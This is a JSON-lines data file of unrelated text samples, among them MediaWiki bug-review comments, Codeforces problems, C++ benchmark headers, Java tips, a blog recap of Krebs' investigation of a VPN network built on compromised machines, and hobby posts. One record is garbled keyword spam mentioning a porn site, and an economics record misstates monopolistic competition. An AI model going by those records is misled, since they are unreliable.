{"text": "For MediaWiki (recent comments | status changes | tags | authors | states | release notes | statistics)\nThe fix seems very weird. Where did you get it? Does it have any side effects? I wasn't able to reproduce the problem at all.\nThe bug was first documented by Alex Grant on his blog (http://grantovich.net/posts/2009/06/that-weird-ie8-textarea-bug/), and he posted an alternative, CSS-based fix there (as opposed to adding the meta tag). This patch is based on the info on Alex's blog and Wikia's solution (see http://trac.wikia-code.com/browser/wikia/trunk/skins/wikia/css/IE80Fixes.css).\nI myself had experienced the bug when editing longer pages. Someone else also noticed this bug back in April 2009 (see http://www.microsoft.com/communities/newsgroups/list/en-us/default.aspx?dg=microsoft.public.internetexplorer.beta&mid=19d4437c-d339-46cc-a7b5-c599e66e2fa1&sloc=).\nFor testing, I copied http://24.wikia.com/wiki/Jack_Bauer to my localhost development wiki and tried editing some of the sections in about the middle of the page (i.e. \"Day 5\") without using section edit links. Before applying this patch, editing the \"Day 5\" section (for example) was pretty much impossible. After applying this patch, editing works just as it should.\nGreat, thanks for the info. I've added a comment to the file in r62276. Why the height specification, though? Is that needed? Presumably it will change display, and doesn't seem to be necessary according to your links.\nAlso, shouldn't your selector really be \"textarea\" here, not \"#wpTextbox1\"? Nothing sets #wpTextbox1 to 100% width, only textarea, AFAICT. So the fix won't work properly on edit conflict resolution, say. I'd think the rule should apply to all textareas, and be loaded on all pages.\nAs an alternative implementation, we could put the fix in shared.css directly, and then use a * html hack or such to override it for IE6, since that doesn't support min/max-width. Currently only Monobook, Vector, Modern, Chick, and Simple set textareas to 100% width, but it probably doesn't hurt if we extend that to all other skins too.\nWithout the height property, the bug occurs in my IE8 — dunno why, but that's just the way it is. Using textarea instead of #wpTextbox1 (with or without height) doesn't seem to work. The current CSS works for me even in edit conflict cases.\nUsing shared.css instead of a separate file sounds like a good idea to me.\nI can verify that this bug was there before and not after these CSS changes, suggesting that it be marked as resolved/ok\nThere are unresolved issues — for instance, it forces widths to 100% in IE8 even in skins where this isn't normally the case, like Cologne Blue. I'm meaning to test it and see if I can improve the fix, if no one else does, but I haven't found the time yet.\nOkay, I obviously just don't care enough about IE8. So it would be nice if this could be fixed, but I'm not going to do it, and clearly no one else is. Dunno if we should keep this marked fixme in that case, it seems pointless.\nIn addition to skin problems noted above, the checked-in fix may not actually fix the problem in all cases. Instead, another fix is to simply set the COLS attribute of the textarea to a very large number (e.g. 5000). This seems to work in every case I've tried, and doesn't break skins or other CSS.\nmore details: After an hour investigating this, the problem seems to be caused by IE8's handling of a conflict between \"COLS\" attribute and \"width\" style on a textarea element. If the width CSS is wider than the default width (font width x cols), IE8 gets confused when you add text and scrolls the textarea. If, instead, the width CSS is smaller than the default width derived from the cols attribute, then all works OK.\nThe subtle dependence between cols and width is perhaps what makes the problem so tricky to repro, because the same exact page would break or not break depending on the ratio of cols to width. It's easy to build a page which reproes on a large browser window and doesn't repro on a small one!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 994, "token_count_with_eod": 995, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "One day after commenting about pythons on another post (this is for you, Bronwen), and referring to their liking for pandanus, this Amethyst turned up in Tyto today. (It did so well away from the numerous visitors attending a Tyto Expo weekend, who were ferried around the lagoons by a fleet of golf buggies.)\nHow to find such snakes? Stand still frequently and listen carefully. Even small reptiles will make some noise if moving about on dry litter. This snake crunched through pandanus for some minutes before emerging and ascending the bare trunk it's semi-wrapped around.\nNo picture, but even louder noises in waist-high grasses yesterday - and seemingly coming from a large animal - signalled the purposeful progress of a particularly fat Red-bellied Black snake. Even from 30 metres away, the snake's swift flow through and high up in the grasses was audible and visible.\nMost birds, naturally, ignored the many visitors, who, in turn, just as naturally failed to see most of the birds, but enjoyed the scenic beauty of their surroundings. Naturally, the skies were brilliantly blue through both days.\nGot this Red-browed Finch (Neochmia temporalis) early today before the buggies began rolling around the place.\nSame with this Red-backed Fairy-wren (Malurus melanocephalus), which paused just long enough on sunlit branch.\nNot a lot of action out on the water apart from this Little Pied Cormorant (Microcarba melanoleucos) taking off after I appeared. They are very wary when in the water and almost nonchalant once parked up in trees.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 346, "token_count_with_eod": 347, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Does any one know if the drum loops (I think they are called “RASS”) on the SK keyboards can be used in a style or sequence? If so, would they be able to change tempo (faster or slower) with the other parts with out changing pitch? I tried it but the other parts were changing tempo but the drum loop stayed the same. Maybe there is something I should be doing but not?\nP.S I got the drum loops from the hard drive.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 98, "token_count_with_eod": 99, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Since most contestants do not read this part, I have to repeat that Bitlandians are quite weird. They have their own jobs, their own working method, their own lives, their own sausages and their own games!\n\nSince you are so curious about Bitland, I'll give you the chance of peeking at one of these games.\n\nBitLGM and BitAryo are playing yet another of their crazy-looking genius-needed Bitlandish games. They've got a sequence of n non-negative integers a1, a2, ..., an. The players make moves in turns. BitLGM moves first. Each player can and must do one of the two following actions in his turn:\n\n- Take one of the integers (we'll denote it as ai). Choose integer x (1 ≤ x ≤ ai). And then decrease ai by x, that is, apply assignment: ai = ai - x.\n- Choose integer x $$(1 \\leq x \\leq \\min_{i=1}^{n} a_i)$$. And then decrease all ai by x, that is, apply assignment: ai = ai - x, for all i.\n\nThe player who cannot make a move loses.\n\nYou're given the initial sequence a1, a2, ..., an. Determine who wins, if both players plays optimally well and if BitLGM and BitAryo start playing the described game in this sequence.", "source": "cpt_codeforces", "language": "en", "token_count": 317, "token_count_with_eod": 318, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "How come there's create() and create_new()?\nI'm somewhat confused about the naming scheme for instance creation. In\nNotImplementedError whereas there's a method\ncreate_new() which creates a new thread. In\ncreate() but no\ncreate_new(). So what are the intended differences between", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 60, "token_count_with_eod": 61, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given two set of points. The first set is determined by the equation A1x + B1y + C1 = 0, and the second one is determined by the equation A2x + B2y + C2 = 0.\n\nWrite the program which finds the number of points in the intersection of two given sets.", "source": "cpt_codeforces", "language": "en", "token_count": 71, "token_count_with_eod": 72, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Methodius received an email from his friend Polycarp. However, Polycarp's keyboard is broken, so pressing a key on it once may cause the corresponding symbol to appear more than once (if you press a key on a regular keyboard, it prints exactly one symbol).\n\nFor example, as a result of typing the word \"hello\", the following words could be printed: \"hello\", \"hhhhello\", \"hheeeellllooo\", but the following could not be printed: \"hell\", \"helo\", \"hhllllooo\".\n\nNote, that when you press a key, the corresponding symbol must appear (possibly, more than once). The keyboard is broken in a random manner, it means that pressing the same key you can get the different number of letters in the result.\n\nFor each word in the letter, Methodius has guessed what word Polycarp actually wanted to write, but he is not sure about it, so he asks you to help him.\n\nYou are given a list of pairs of words. For each pair, determine if the second word could be printed by typing the first one on Polycarp's keyboard.", "source": "cpt_codeforces", "language": "en", "token_count": 238, "token_count_with_eod": 239, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Monopolistic competition is a market structure that features many firms that are all selling differentiated products. Unlike monopolies, in this market, there are product substitutes and firms compete on price but not on quality.\nMonopolistically competitive firms will produce where marginal revenue equals marginal cost, or in other words, they will produce at the point of tangency between their demand curve and their average total cost curve.\nAn example of a monopolistically competitive firm would be Coca-Cola who produces many types of drinks with the same brand. Differentiated products in this market exist because firms are selling different things, but they have very similar prices and so it is difficult to tell which one is better than another.\nThis type of competition makes it hard for firms to differentiate themselves from their competitors and get an advantage over them whereas if there were no substitutes then brands could really stand out on quality alone without worrying about the price too much. If we look at how the demand curve would affect what quantity will be produced by a firm operating under monopolistic competition when demand rises as more people want the product that company can produce more until marginal cost equals marginal revenue.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 228, "token_count_with_eod": 229, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Dogar receives early career award\nAssistant Professor Fahad Dogar received an Early Career Faculty Grant from VMware Research. Intended to recognize the next generation of faculty members, the program supports awardees' research and promotes excellence in teaching. It honors \"recently-appointed faculty whose research interests and accomplishments seem poised to have significant impact within the industry and academia.\"\nDogar is an assistant professor in the Department of Computer Science and a Senior Fellow for Civic Technology at the Jonathan M. Tisch College of Civic Life. He completed his Ph.D. at Carnegie Mellon University and his B.Sc. from Lahore University of Management (LUMS), Pakistan. Before joining Tufts, he was a postdoctoral researcher in the systems and networking group at Microsoft Research UK.\nDogar's research interests span the broad areas of networking and distributed systems, with a recent focus on data center networking and future Internet architectures. His research has been published in venues like ACM SIGCOMM, Usenix NSDI, and ACM MobiCom.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Im using an IP based messaging app called netcat on linux terminal. I can send messages directly to a computers IP and receive back in a way its not encrypted, as shown below:\nbut when Im sniffing the packets from a third computer ( on my own WLAN ) im getting them in LLC protocol instead of TCP and I cant see the data (I think its encrypted or scrambled ) as shown below:\nAny idea whats the problem? or how can I extract the data? I tried ASCII, UNICODE and Hex translation to string nothing worked.\nHere is the Hex pcap file for wireshark on GoogleDrive, I hope someone could help me with this issue.\n|thread locked Quote Subscribe||\nDec 19th 2016\n5 years ago", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 157, "token_count_with_eod": 158, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#ifndef editor_incuded\n#define editor_incuded\n//----------------------------------------------------------------------\n\n#include \"gui/xcb/mip_xcb_window.h\"\n\n\nclass Editor {\n\n//------------------------------\nprivate:\n//------------------------------\n\n  MIP_XcbWindow*  MWindow = nullptr;\n  uint32_t        MWidth  = 400;\n  uint32_t        MHeight = 400;\n\n//------------------------------\npublic:\n//------------------------------\n\n  Editor() {\n  }\n\n  virtual ~Editor() {\n    if (MWindow) delete MWindow;\n  }\n\n//------------------------------\npublic:\n//------------------------------\n\n  bool attach(const char* display_name, unsigned long window) {\n    MWindow = new MIP_XcbWindow(MWidth,MHeight,\"Title\",(void*)window);\n    return true;\n  }\n\n  void show() {\n    MWindow->open();\n  }\n\n  void hide() {\n    MWindow->close();\n  }\n\n  void set_width(uint32_t w) {\n    MWidth = w;\n    MWindow->setSize(MWidth,MHeight);\n  }\n\n  void set_height(uint32_t h) {\n    MHeight = h;\n    MWindow->setSize(MWidth,MHeight);\n  }\n\n  void set_scale(double scale) {\n  }\n\n  uint32_t get_width() {\n    return MWidth;\n  }\n\n  uint32_t get_height() {\n    return MHeight;\n  }\n\n};\n\n//----------------------------------------------------------------------\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 330, "token_count_with_eod": 331, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "#pragma once\n\n#include <ozo/optional.h>\n#include <ozo/type_traits.h>\n#include <ozo/pg/types.h>\n\n#include <boost/range/algorithm/sort.hpp>\n#include <boost/range/algorithm/transform.hpp>\n#include <boost/fusion/adapted/struct.hpp>\n#include <boost/hana/for_each.hpp>\n#include <boost/hana/tuple.hpp>\n#include <boost/range/numeric.hpp>\n\n#include <chrono>\n#include <cmath>\n#include <iostream>\n#include <iomanip>\n#include <mutex>\n#include <thread>\n#include <vector>\n#include <atomic>\n\nnamespace ozo::benchmark {\n\nnamespace hana = boost::hana;\n\ntemplate <class Ratio>\nstruct duration_name {};\n\ntemplate <>\nstruct duration_name<std::ratio<1>> {\n    friend std::ostream& operator <<(std::ostream& stream, duration_name) {\n        return stream << \"s\";\n    }\n};\n\ntemplate <>\nstruct duration_name<std::milli> {\n    friend std::ostream& operator <<(std::ostream& stream, duration_name) {\n        return stream << \"ms\";\n    }\n};\n\ntemplate <>\nstruct duration_name<std::micro> {\n    friend std::ostream& operator <<(std::ostream& stream, duration_name) {\n        return stream << \"us\";\n    }\n};\n\ntemplate <>\nstruct duration_name<std::nano> {\n    friend std::ostream& operator <<(std::ostream& stream, duration_name) {\n        return stream << \"ns\";\n    }\n};\n\nstd::ostream& operator <<(std::ostream& stream, std::chrono::steady_clock::duration value) {\n    bool printed = false;\n    hana::for_each(hana::make_tuple(std::nano(), std::micro(), std::milli()),\n        [&] (auto ratio) {\n            if (printed) {\n                return;\n            }\n            using ratio_t = decltype(ratio);\n            const auto converted = std::chrono::duration_cast<std::chrono::duration<double, ratio_t>>(value).count();\n            if (converted < 1000) {\n                stream << converted << ' ' << duration_name<ratio_t> {};\n                printed = true;\n            }\n        });\n    if (!printed) {\n        using ratio_t = std::ratio<1>;\n        const auto converted = std::chrono::duration_cast<std::chrono::duration<double, ratio_t>>(value).count();\n        stream << converted << ' ' << duration_name<ratio_t> {};\n    }\n    return stream;\n}\n\nclass rows_count_limit_benchmark {\npublic:\n    rows_count_limit_benchmark(const std::size_t max_rows_count)\n        : max_rows_count(max_rows_count) {}\n\n    void start() {\n        if (!start_time) {\n            total_rows_count = 0;\n            start_time = std::chrono::steady_clock::now();\n        }\n    }\n\n    bool step(std::size_t rows_count) {\n        if (finish) {\n            return false;\n        }\n        total_rows_count += rows_count;\n        if (total_rows_count >= max_rows_count) {\n            finish = std::chrono::steady_clock::now();\n            return false;\n        }\n        return true;\n    }\n\n    ~rows_count_limit_benchmark() {\n        using double_s = std::chrono::duration<double, std::ratio<1>>;\n        if (start_time && finish) {\n            std::cout << \"read \" << total_rows_count << \" rows, \"\n                      << std::setprecision(3) << std::fixed\n                      << (total_rows_count / std::chrono::duration_cast<double_s>(*finish - *start_time).count())\n                      << \" row/sec\" << std::endl;\n        }\n    }\n\nprivate:\n    std::size_t max_rows_count;\n    __OZO_STD_OPTIONAL<std::chrono::steady_clock::time_point> start_time;\n    __OZO_STD_OPTIONAL<std::chrono::steady_clock::time_point> finish;\n    std::size_t total_rows_count;\n};\n\ntemplate <std::size_t coroutines>\nclass time_limit_benchmark {\npublic:\n    time_limit_benchmark(std::chrono::steady_clock::duration max_duration = std::chrono::seconds(31))\n            : max_duration(max_duration) {\n        steps.reserve(100);\n        requests.reserve(1000000);\n        std::fill(request_start.begin(), request_start.end(), start);\n    }\n\n    ~time_limit_benchmark() {\n        using double_s = std::chrono::duration<double, std::ratio<1>>;\n        if (!requests.empty()) {\n            boost::sort(requests);\n            std::cout << \"mean request time: \" << boost::accumulate(requests, std::chrono::steady_clock::duration()) / requests.size() << std::endl;\n            std::cout << \"median request time: \" << requests[requests.size() / 2 + 1] << std::endl;\n            std::cout << \"q90 request time: \" << requests[requests.size() * 9 / 10] << std::endl;\n            std::cout << \"min request time: \" << requests.front() << std::endl;\n            std::cout << \"max request time: \" << requests.back() << std::endl;\n        }\n        std::cout << \"mean requests speed: \" << total_requests_count / std::chrono::duration_cast<double_s>(finish - start).count()\n                  << \" req/sec\" << std::endl;\n        std::vector<double> requests_speeds;\n        if (!steps.empty()) {\n            boost::transform(steps, std::back_inserter(requests_speeds),\n                [] (const auto& v) { return v.requests_count / std::chrono::duration_cast<double_s>(v.duration).count(); });\n            boost::sort(requests_speeds);\n            std::cout << \"median requests speed: \" << requests_speeds[requests_speeds.size() / 2 + 1] << \" req/sec\" << std::endl;\n            std::cout << \"min requests speed: \" << requests_speeds.front() << \" req/sec\" << std::endl;\n            std::cout << \"max requests speed: \" << requests_speeds.back() << \" req/sec\" << std::endl;\n        }\n        std::cout << \"mean read rows speed: \" << total_rows_count / std::chrono::duration_cast<double_s>(finish - start).count()\n                  << \" row/sec\" << std::endl;\n        std::vector<double> rows_speeds;\n        if (!steps.empty()) {\n            boost::transform(steps, std::back_inserter(rows_speeds),\n                [] (const auto& v) { return v.rows_count / std::chrono::duration_cast<double_s>(v.duration).count(); });\n            boost::sort(rows_speeds);\n            std::cout << \"median read rows speed: \" << rows_speeds[rows_speeds.size() / 2 + 1] << \" row/sec\" << std::endl;\n            std::cout << \"min read rows speed: \" << rows_speeds.front() << \" row/sec\" << std::endl;\n            std::cout << \"max read rows speed: \" << rows_speeds.back() << \" row/sec\" << std::endl;\n        }\n    }\n\n    bool step(std::size_t rows_count, std::size_t token = 0) {\n        if (finished) {\n            return false;\n        }\n        requests.push_back(std::chrono::steady_clock::now() - request_start[token]);\n        step_rows_count += rows_count;\n        if (++step_count % modulo == 0) {\n            if (!step_impl()) {\n                return false;\n            }\n        }\n        request_start[token] = std::chrono::steady_clock::now();\n        return true;\n    }\n\n    bool thread_safe_step(std::size_t rows_count, std::size_t token = 0) {\n        if (finished) {\n            return false;\n        }\n        {\n            const std::unique_lock<std::mutex> lock(requests_mutex);\n            requests.push_back(std::chrono::steady_clock::now() - request_start[token]);\n        }\n        step_rows_count += rows_count;\n        if (++step_count % modulo == 0) {\n            const std::unique_lock<std::mutex> lock(step_mutex);\n            if (!step_impl()) {\n                return false;\n            }\n        }\n        request_start[token] = std::chrono::steady_clock::now();\n        return true;\n    }\n\nprivate:\n    struct step_t {\n        std::chrono::steady_clock::duration duration;\n        std::size_t requests_count;\n        std::size_t rows_count;\n    };\n\n    std::mutex requests_mutex;\n    std::mutex step_mutex;\n    std::chrono::steady_clock::duration max_duration;\n    std::size_t total_requests_count = 0;\n    volatile std::size_t modulo = 1;\n    std::atomic<std::size_t> step_count {0};\n    std::atomic<std::size_t> step_rows_count {0};\n    std::size_t total_rows_count = 0;\n    volatile bool finished = false;\n    std::chrono::steady_clock::time_point finish;\n    std::vector<step_t> steps;\n    std::vector<std::chrono::steady_clock::duration> requests;\n    const std::chrono::steady_clock::time_point start = std::chrono::steady_clock::now();\n    std::chrono::steady_clock::time_point next_print = start + std::chrono::seconds(1);\n    std::chrono::steady_clock::time_point step_start = start;\n    std::array<std::chrono::steady_clock::time_point, coroutines> request_start;\n\n    bool step_impl() {\n        finish = std::chrono::steady_clock::now();\n        if (finish >= next_print) {\n            using double_s = std::chrono::duration<double, std::ratio<1>>;\n            const auto duration = finish - step_start;\n            const auto requests_per_second = step_count / std::chrono::duration_cast<double_s>(duration).count();\n            const auto rows_per_second = step_rows_count / std::chrono::duration_cast<double_s>(duration).count();\n            steps.push_back(step_t {duration, step_count, step_rows_count});\n            modulo = std::max(\n                static_cast<std::size_t>(modulo),\n                static_cast<std::size_t>(std::round(requests_per_second * 0.05))\n            );\n            total_requests_count += step_count;\n            total_rows_count += step_rows_count;\n            const auto total_duration = finish - start;\n            std::cout << total_requests_count << \" requests done in \"\n                      << std::chrono::duration_cast<double_s>(total_duration).count() << \" seconds, \"\n                      << std::setprecision(4) << std::fixed << requests_per_second << \" req/sec \"\n                      << total_rows_count << \" rows read \"\n                      << std::setprecision(4) << std::fixed << rows_per_second << \" row/sec\"\n                      << std::endl;\n            if (total_duration > max_duration) {\n                finished = true;\n                return false;\n            }\n            step_count = 0;\n            step_rows_count = 0;\n            step_start = finish;\n            next_print += std::chrono::seconds(1);\n        }\n        return true;\n    }\n};\n\nstruct pg_type {\n    ozo::pg::name typname;\n    oid_t typnamespace;\n    oid_t typowner;\n    std::int16_t typlen;\n    bool typbyval;\n    char typcategory;\n    bool typispreferred;\n    bool typisdefined;\n    char typdelim;\n    oid_t typrelid;\n    oid_t typelem;\n    oid_t typarray;\n};\n\n} // namespace ozo::benchmark\n\nBOOST_FUSION_ADAPT_STRUCT(ozo::benchmark::pg_type,\n    typname, typnamespace, typowner, typlen, typbyval, typcategory,\n    typispreferred, typisdefined, typdelim, typrelid, typelem, typarray)", "source": "cpt_stack_code", "language": "code", "token_count": 2735, "token_count_with_eod": 2736, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "A few days ago, Brian Krebs blogged about a report, published by RSA Research, that uncovered a network of compromised Windows machines being used as VPN exit nodes. The idea was to sell VPN access at premium points across the world to customers within China who needed to bypass the Great Firewall. Compromised machines included those at a major Fortune 500 hotel chain and a hi-tech manufacturer.\nPart of what turned the group on to this Terracotta VPN, as they’re calling it, was that some of the exit nodes, perhaps as many as 52, were linked by their IP address to nation-state and other known-APT actors. Apparently, this wasn’t a service used only by consumers; sophisticated actors were also using it to hide their identity and legitimize their connections.\nIt also highlights why looking at the IP address of a connection alone isn’t helpful, and could even be misleading. That’s why we at DomainTools focus on domain names, and apparently, so does Krebs!\nKrebs wanted to go deeper, but all he had was a screenshot of the software from the RSA report and a single domain name: 8800free[dot]info. He’s a power user, though, so one domain was all he needed.\nHe explained how he started with a historic lookup at DomainTools, found an email address from 2010, pivoted through our Reverse Whois dataset to nine other domains. He also used the current email address for that one starter domain, found 39 other sites again with Reverse Whois, then walked through each of those site’s historical data to find more identities.\nIn the end, he took his newly-discovered list of domains, downloaded the VPN software, and conducted a mini usability study on each one! He also used Wireshark to sniff the packets, see which IP’s were being used, and finally uncovered a few of the organizations that had compromised machines.\nThis story is typical of the kind of research people do every day with DomainTools.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 417, "token_count_with_eod": 418, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given n points on a plane. All points are different.\n\nFind the number of different groups of three points (A, B, C) such that point B is the middle of segment AC.\n\nThe groups of three points are considered unordered, that is, if point B is the middle of segment AC, then groups (A, B, C) and (C, B, A) are considered the same.", "source": "cpt_codeforces", "language": "en", "token_count": 87, "token_count_with_eod": 88, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Sobre Five years of experience in designing, coding, testing and supporting a 24*7 High Availability RAC Environment as well as Data Guard (DG). Provide Value Added Services, Escalate & coordinate issues with Oracle Support, Health check, Automation of the DBA tasks, Bug Fixes/Patch /Upgrade, Purging Policy, Growth Trend Analysis and Implementing & Maintaining database standards.\nOracle APPS DBA, Oracle DBA 10g, 11g\nOracle Data Guard\nOracle Real Applications Cluster\nASM and Grid Infrastructure\nUNIX Shell Scripting\nAIX UNIX, RHEL, OEL and Windows Server", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I am trying to take printout of material document which is getting created during shipment completion happens i.e., when we do PGI through VT01N.\nThe output message is not getting triggered.\nIn VT01N, I have selected outbound delivery and accordingly message type created and transaction / eveny key created with WL.\nApart from that rest part is done.\nI don't know what is that which is preventing the trigger of output.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 93, "token_count_with_eod": 94, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You have several different options for this:\nGoogle's Guava Library introduces the idea of a Multiset which is capable of counting the occurrences, and also provides a couple of other features.\nIf you are using Java 8 (which I highly recommend if you have the ability to do so), your\ntokenFound method can simply be this:\noccurrences.merge(token, 1, (oldValue, one) -> oldValue + one);\noccurrences.compute(token, (tokenKey, oldValue) -> oldValue == null ? 1 : oldValue + 1);\nNote that as of Java 7, you can initialize the map with the \"diamond operator\":\nMap<Token, Integer> occurrences = new HashMap<>();\nWithout Java 8, no libraries\nIf you are unable to use Java 8 and don't want to add Guava as a third party library to your project, there are a small part you can do to simplify your existing code:\nInteger previousValue = occurrences.get(token);\noccurrences.put(token, previousValue == null ? 1 : previousValue + 1);\n- Using the\nnew Integer constructor is not necessary, Java automatically uses boxing to do this. For Integer values close to zero, this will actually save you a little bit because Java keeps some integers cached.\n- You don't need the\nnewNumberOfOccurs variable as it's only used once.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 286, "token_count_with_eod": 287, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "State teachers' 'betrayal' is nothing of the sort\nIt is with dismay that I may consider private education for my daughter; certainly not to avoid either the teachers or pupils in state schools, but to avoid the current destructive system if nothing changes in the next 10 years. There must be many teachers who remain working under this regime to try to mitigate the damage to their own pupils. To find out more, Ms Levenson should read the Alexander Review.\nName and address supplied, State school teacher.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 106, "token_count_with_eod": 107, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Problem Name: Sql -\nIn this HackerRank Functions in SQL problem solution,\nQuery the sum of the populations for all Japanese cities in CITY. The COUNTRYCODE for Japan is JPN.\nThe CITY table is described as follows:\n#1 Code Example with SQL\nCopy The Code & Try With Live Editor\nSELECT SUM(POPULATION) FROM CITY WHERE COUNTRYCODE = 'JPN';", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 83, "token_count_with_eod": 84, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "The Macro Economy\nWhat do we measure in the large-scale economy? What's the importance of inflation and employment? How do we model the macro economy?\nThis video goes over the solutions to the questions at the end of the chapter. Be sure you've finished all practice questions before watching.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 59, "token_count_with_eod": 60, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Person of charge. The cities where finance is headquartered, especially New York Times. Seth MacFarlane provides the following addresses: dpj delphi.\nAttractive Doctor George Mountain ghetto generally\nlooked out the tail plug naked in public Bungundarra the lower stratosphere\nToo dead tired into slumber. Tomorrow was a really bad at all. Watch full-length ManSurfer TV Gay Porn updated daily.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Quore is an atmospheric Quake engine running on GNU/Linux systems with enhanced graphics, increased limits, configurable HUD and ambiences, and different modes for changing the gameplay.\nMakePAK is a command-line tool for creating Quake .PAK files. It is supposed to be paired with PhysicsFS, which can read Quake .PAK archives. It follows the GNU standards, providing a portable, consistent, and complete utility.\nSoftware to build and execute shell command lines from standard input in parallel.\nAliens have invaded your school, and it's up to the girls of the Science Club to save the day.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 127, "token_count_with_eod": 128, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "If we were to make a list of the things that both types of games possess, we can try to see what makes pen and paper roleplaying games special. Let's take Skyrim as our \"computer game\" example, since that's the latest fantasy craze.\nSkyrim shares the following elements with traditional pen and paper roleplaying games:\n- an alien world, developed to the point where one can participate in it\n- a single PC\n- many NPCs who can react to the actions of the PC insofar as the game's programming allows\n- a wide world to explore with many hidden places and side-quests and things of that nature that allow one to have an exploratory spirit\n- a world that \"feels\" alive, in that it responds somewhat realistically to change\n- strict rules that are enforced by the game-engine (or the DM in our PnP case)\n- enemies which think as intelligently as the game-engine (or DM) can allow\nTrue adaptability doesn't mean that once you've completed a quest it isn't available anymore, or that the farmhand you helped out marries his beau and has no more to say to you. True adaptability means that the world continues to adapt around you based on your own actions and, in the case of a certain kind of game (my kind of game) regardless of your actions. I cannot realistically foresee a day when that can be achieved by a computer. Unfortunately, the limits of computer games tend to preclude this sort of endless forward motion. At some point, you reach the end of the quest or the end of the dialog that the programmers created and the world grinds to a halt. This is a sort of virtual adaptability that has only enough depth to give you the feeling of change. Don't press it, though, or the curtain will soon be twitched aside to reveal the limitations of the system.\nAn expanding setting is related to true adaptability, but it applies to the world at large instead of a single place in specific. While adaptability may govern the actions of the farmstead you are on (you could stay there forever helping out these folks, because the DM would continue to provide you with new situations and scenarios) expansion governs the wider setting at large. When you reach the end of a map in a video game, you generally are forced to turn around. When you reach a blank spot on the map in a pen and paper game, your DM usually says \"Alright, we'll resume this in a few hours or tomorrow or next week as I draw up some new maps.\" The setting continues to grow as long as you are interested in playing in it.\nLastly, other players is the most minor issue out of all of these, since there are roleplaying games that allow for other players. However, the nature of game design tends towards storytelling with all that this implies: main characters, plot arcs, and things of that nature. It's never really fun to play a sidekick in a story when you are explicitly a side-kick. Your actions don't really matter, it is the protagonist PC who can change the world. That's a kick in the teeth for realism and ego both. In a pen and paper game, no one has to be the protagonist. The entire idea of a protagonist is sort of counter to the experience because, as I've said before, like life the story of a D&D game can be what you make of it rather than something told by the DM.\nNow, what is it that allows pen and paper games to achieve these three harmonious unities? The presence of the DM. The DM is not a computer that sits there to arbitrate rules. If that's all you're using your DM for, you should just go and play a computer game. Computers do that better than people do, and they don't have to spend time flipping through books or getting challenged to make sure they're right. The primary job of a DM, then, or any referee, isn't to be a repository of rules-knowledge (it helps) but rather to hold in his mind's-eye a living growing world and somehow transport you, the player, into that world.\nRemember that next time you're about to tell your DM that you \"deserve\" a magical item or two.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 878, "token_count_with_eod": 879, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "If you are looking for some excellent .NET tips, tricks and tons of sample code, head over to Through the Interface, by Kean Walmsley from Autodesk.\nSome sample topics you will find there (with code) include:\nGetting the type of an AutoCAD solid using .NET\nDisplaying a progress meter during long operations in AutoCAD using .NET\nCreating a partial CUI file using .NET and loading it inside AutoCAD\nAdding a context menu to AutoCAD objects using .NET\nIterating through a polyline's vertices using AutoCAD .NET\nPermaLink Posted 7/18/2007 07:56:00 AM", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 141, "token_count_with_eod": 142, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Analysis - 👨🏾🎓\nThe DXY is on the monthly from a structural and institutional perspective I can see the momentum continuing until 92.184 to mitigate the orders made in the last period before a continuation in bearishness to create a monthly lower low.\nThe 82.000 , which has significance as far back as DEC 1990 could be a key level to show major dollar strength, failure in this level to hold could have catastrophic consequences for the USD\nThe rise of blockchain and cryptocurrency applications have accelerated during this period of decline, this is set to continue as people seek better stores of value than the USD. The decline itself and Quantitative easing never seen on a scale like this before have raised large questions on the suitability of the USD as the worlds global reserve currency for the longterm.\nLet me know your thoughts, I've attached more snapshots below!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 190, "token_count_with_eod": 191, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
